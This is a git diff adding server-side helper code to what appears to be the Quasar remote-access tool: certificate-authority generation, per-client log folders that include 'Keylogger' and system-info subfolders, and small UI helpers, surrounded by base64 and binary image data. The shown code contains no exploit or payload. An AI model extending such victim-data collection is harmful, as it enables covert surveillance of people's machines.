CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Helper/CertificateHelper.cs b/Quasar-1.4.1/Quasar.Server/Helper/CertificateHelper.cs new file mode 100755 index 0000000..b41d531 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Helper/CertificateHelper.cs @@ -0,0 +1,85 @@ +using Org.BouncyCastle.Asn1.X509; +using Org.BouncyCastle.Crypto; +using Org.BouncyCastle.Crypto.Generators; +using Org.BouncyCastle.Crypto.Operators; +using Org.BouncyCastle.Crypto.Parameters; +using Org.BouncyCastle.Crypto.Prng; +using Org.BouncyCastle.Math; +using Org.BouncyCastle.Security; +using Org.BouncyCastle.X509; +using Org.BouncyCastle.X509.Extension; +using System; +using System.Security.Cryptography.X509Certificates; + +namespace Quasar.Server.Helper +{ + public static class CertificateHelper + { + public static X509Certificate2 CreateCertificate(string certName, X509Certificate2 ca, int keyStrength) + { + var caCert = DotNetUtilities.FromX509Certificate(ca); + var random = new SecureRandom(new CryptoApiRandomGenerator()); + var keyPairGen = new RsaKeyPairGenerator(); + keyPairGen.Init(new KeyGenerationParameters(random, keyStrength)); + AsymmetricCipherKeyPair keyPair = keyPairGen.GenerateKeyPair(); + + var certificateGenerator = new X509V3CertificateGenerator(); + + var CN = new X509Name("CN=" + certName); + var SN = BigInteger.ProbablePrime(120, random); + + certificateGenerator.SetSerialNumber(SN); + certificateGenerator.SetSubjectDN(CN); + certificateGenerator.SetIssuerDN(caCert.IssuerDN); + certificateGenerator.SetNotAfter(DateTime.MaxValue); + certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(1, 0, 0, 0))); + certificateGenerator.SetPublicKey(keyPair.Public); + certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keyPair.Public)); + certificateGenerator.AddExtension(X509Extensions.AuthorityKeyIdentifier, false, new AuthorityKeyIdentifierStructure(caCert.GetPublicKey())); + + var caKeyPair = DotNetUtilities.GetKeyPair(ca.PrivateKey); + + ISignatureFactory signatureFactory = new Asn1SignatureFactory("SHA512WITHRSA", caKeyPair.Private, random); + + var certificate = certificateGenerator.Generate(signatureFactory); + + certificate.Verify(caCert.GetPublicKey()); + + var certificate2 = new X509Certificate2(DotNetUtilities.ToX509Certificate(certificate)); + certificate2.PrivateKey = DotNetUtilities.ToRSA(keyPair.Private as RsaPrivateCrtKeyParameters); + + return certificate2; + } + + public static X509Certificate2 CreateCertificateAuthority(string caName, int keyStrength) + { + var random = new SecureRandom(new CryptoApiRandomGenerator()); + var keyPairGen = new RsaKeyPairGenerator(); + keyPairGen.Init(new KeyGenerationParameters(random, keyStrength)); + AsymmetricCipherKeyPair keypair = keyPairGen.GenerateKeyPair(); + + var certificateGenerator = new X509V3CertificateGenerator(); + + var CN = new X509Name("CN=" + caName); + var SN = BigInteger.ProbablePrime(120, random); + + certificateGenerator.SetSerialNumber(SN); + certificateGenerator.SetSubjectDN(CN); + certificateGenerator.SetIssuerDN(CN); + certificateGenerator.SetNotAfter(DateTime.MaxValue); + certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(2, 0, 0, 0))); + certificateGenerator.SetPublicKey(keypair.Public); + certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keypair.Public)); + certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(true)); + + ISignatureFactory signatureFactory = new Asn1SignatureFactory("SHA512WITHRSA", keypair.Private, random); + + var certificate = certificateGenerator.Generate(signatureFactory); + + var certificate2 = new X509Certificate2(DotNetUtilities.ToX509Certificate(certificate)); + certificate2.PrivateKey = DotNetUtilities.ToRSA(keypair.Private as RsaPrivateCrtKeyParameters); + + return certificate2; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Helper/ClientDataManager.cs b/Quasar-1.4.1/Quasar.Server/Helper/ClientDataManager.cs new file mode 100755 index 0000000..2fec005 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Helper/ClientDataManager.cs @@ -0,0 +1,78 @@ +using Quasar.Server.Models; +using Quasar.Server.Networking; +using System; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Helper +{ + /// + /// Manages client-specific data folders for organizing exports and logs. + /// + public static class ClientDataManager + { + /// + /// Gets or creates a client-specific folder for storing data. + /// + /// The client to create folder for. + /// Optional subfolder name (e.g., "SystemInfo", "Intelix", "Keylogger"). + /// The full path to the client's data folder. + public static string GetClientFolder(Client client, string subfolder = null) + { + // Create base Logs folder + string logsPath = Path.Combine(Application.StartupPath, "Logs"); + if (!Directory.Exists(logsPath)) + Directory.CreateDirectory(logsPath); + + // Create client-specific folder using UserAtPc as identifier + string clientIdentifier = SanitizeFileName(client.Value.UserAtPc); + string clientFolder = Path.Combine(logsPath, clientIdentifier); + + if (!Directory.Exists(clientFolder)) + Directory.CreateDirectory(clientFolder); + + // If subfolder specified, create it + if (!string.IsNullOrEmpty(subfolder)) + { + clientFolder = Path.Combine(clientFolder, subfolder); + if (!Directory.Exists(clientFolder)) + Directory.CreateDirectory(clientFolder); + } + + return clientFolder; + } + + /// + /// Generates a timestamped filename for client data. + /// + /// Prefix for the filename (e.g., "SystemInfo", "Intelix"). + /// File extension (e.g., ".json", ".zip"). + /// A timestamped filename. + public static string GenerateTimestampedFilename(string prefix, string extension) + { + string timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss"); + return $"{prefix}_{timestamp}{extension}"; + } + + /// + /// Sanitizes a string to be used as a filename or folder name. + /// + private static string SanitizeFileName(string fileName) + { + if (string.IsNullOrWhiteSpace(fileName)) + return "Unknown"; + + // Remove invalid filename characters + char[] invalidChars = Path.GetInvalidFileNameChars(); + foreach (char c in invalidChars) + { + fileName = fileName.Replace(c, '_'); + } + + // Also replace colon which might be in IP addresses or timestamps + fileName = fileName.Replace(':', '_'); + + return fileName; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Helper/ClipboardHelper.cs b/Quasar-1.4.1/Quasar.Server/Helper/ClipboardHelper.cs new file mode 100755 index 0000000..2a69f03 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Helper/ClipboardHelper.cs @@ -0,0 +1,19 @@ +using System; +using System.Windows.Forms; + +namespace Quasar.Server.Helper +{ + public static class ClipboardHelper + { + public static void SetClipboardTextSafe(string text) + { + try + { + Clipboard.SetText(text); + } + catch (Exception) + { + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Helper/NativeMethodsHelper.cs b/Quasar-1.4.1/Quasar.Server/Helper/NativeMethodsHelper.cs new file mode 100755 index 0000000..5ea832c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Helper/NativeMethodsHelper.cs @@ -0,0 +1,35 @@ +using System; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Helper +{ + public static class NativeMethodsHelper + { + private const int LVM_FIRST = 0x1000; + private const int LVM_SETITEMSTATE = LVM_FIRST + 43; + + private const int WM_VSCROLL = 277; + private static readonly IntPtr SB_PAGEBOTTOM = new IntPtr(7); + + public static int MakeWin32Long(short wLow, short wHigh) + { + return (int)wLow << 16 | (int)(short)wHigh; + } + + public static void SetItemState(IntPtr handle, int itemIndex, int mask, int value) + { + NativeMethods.LVITEM lvItem = new NativeMethods.LVITEM + { + stateMask = mask, + state = value + }; + + NativeMethods.SendMessageListViewItem(handle, LVM_SETITEMSTATE, new IntPtr(itemIndex), ref lvItem); + } + + public static void ScrollToBottom(IntPtr handle) + { + NativeMethods.SendMessage(handle, WM_VSCROLL, SB_PAGEBOTTOM, IntPtr.Zero); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Helper/WindowHelper.cs b/Quasar-1.4.1/Quasar.Server/Helper/WindowHelper.cs new file mode 100755 index 0000000..fb8f925 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Helper/WindowHelper.cs @@ -0,0 +1,17 @@ +using Quasar.Server.Networking; + +namespace Quasar.Server.Helper +{ + public static class WindowHelper + { + public static string GetWindowTitle(string title, Client c) + { + return string.Format("{0} - {1}@{2} [{3}:{4}]", title, c.Value.Username, c.Value.PcName, c.EndPoint.Address.ToString(), c.EndPoint.Port.ToString()); + } + + public static string GetWindowTitle(string title, int count) + { + return string.Format("{0} [Selected: {1}]", title, count); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ad.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ad.png new file mode 100755 index 0000000000000000000000000000000000000000..625ca84f9ec596848d4b967b5556fda897ca7183 GIT binary patch literal 643 zcmV-}0(||6P)S}{rU-#^xW|9%5S{`_G8k=zVG=|5luWB>#JF#yj01oZa& zTu&JQ008~}|NQ&{0055x0sR95`v3p?1_t~7{`v!N`v3d-{`&g=`T6amqXIBA$0h)T zKokWRkpoMx|Go@O4FvhR>O1p+i7`B6t^3)y2dJ<#?4I?d4x-E}Az98Z`2`TmzkmP! z{`(J9{pauh-+zJD{JOYLhW+QSzkh#x`Y&wke*WLjpZ~u9`2XuCr@{^OJ|MkZb_UGR@Z=V>fB*iaq<8P{*B}2u-uMnu#J~U$KrBDL0bT$1_irEqiZcM6WEF7g<|*+% zzkjHi-TwRc=f7_t9|K*?`1?07lmG&V<)V$@{}>pUYZ(~+fDw@M3(WY1!T<=sp}f-o0K!lJ3<>Jc!&VtMslE3ph2^H3FGe(F z4|^}slF1@l1Nxc}^5hjjU=0la|37)k@b@neJ^1|l@87?_{{z(l6@kcKe}Db@_Y267 z<&g#201!YdV6*>2R0EZ*bYA%%2Vi7me5m>mAb?naPGtnD20MY__n-f`0mzg8{s9CK z*hzmtW)s%H$oS{aAAkS?JLxaT`2W9u;n%DD1Q-B%#%TuGpFSS|0000&5HW|5#c7{r(N){s9YCi84$~U|{$Glm>AD0*K|^yLU}ZO+eP) ze;~;4`#0mCzs$dX{r~-&?f370zkUTM{{OB1_1E8DKmYz*JbN)f0I>i8Q1#1Kum1f0 z{pZggpt}FRe*ORX>;JEx|9}4c_w(m__W!pfKK=atLxM{ZXbC_7vHbh@@9*EgK-ECy zzkh)Y{?EYhFEQc&-#`EN9{7Lq7*OE*@9)2U|NQmmC(vO40VtezBLF}U2%?OI(TG)& zJC>!~;SYmN-)zb6gc(7A-^Q(#z0vHb9!CJ#T#ii{@&pjek8j`pfX)5|H00+GpnLvt za{MtfWBC4qk%R63j~{=2{QLgr`wyTb*amx2hce{;{QL3a|BhWh#6A5bKmf5of*%NgdVm^$Zuo!gI_LQd|G=96g51yWl0Agf71rLE? q3XWqq@&Lw?Iyk0*94-cc00RK~MQKxxUU$F%0000= z`}|7!`YQYT5C8xIh~*yx1DgQ1_jkSr_QgN{Gn)!7=zkRT=l(yS{y%^Jd$>%yrP!)vVq~xpZ~xA{{HjZ>hB|)Z~OQoBLBm{yCqA0{k;C`&+mV~|1$jj15^wU zKukakbkF}kzkmk({q_6zmUTZaUWBOraqa5!?(V-pgMR}R{04?0&`AIR#PSE^hrdi> z;*7t4gLVFSJ$J5DTibsorq@%ai5h7B2l^1G@*gM=fUW@uAjYc<48V{DX@ijvE(11_ dg@FMezyQzuBHsGv+i3s*002ovPDHLkV1jTADB=JB literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ai.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ai.png new file mode 100755 index 